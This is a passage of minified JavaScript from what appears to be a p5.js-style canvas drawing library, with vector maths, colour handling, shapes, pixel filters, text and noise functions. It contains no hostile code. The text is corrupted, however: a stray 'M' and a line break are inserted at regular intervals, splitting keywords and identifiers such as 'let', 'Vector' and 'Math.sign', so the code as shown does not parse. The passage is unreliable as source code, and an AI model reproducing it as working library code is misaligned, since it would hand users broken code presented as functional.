.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
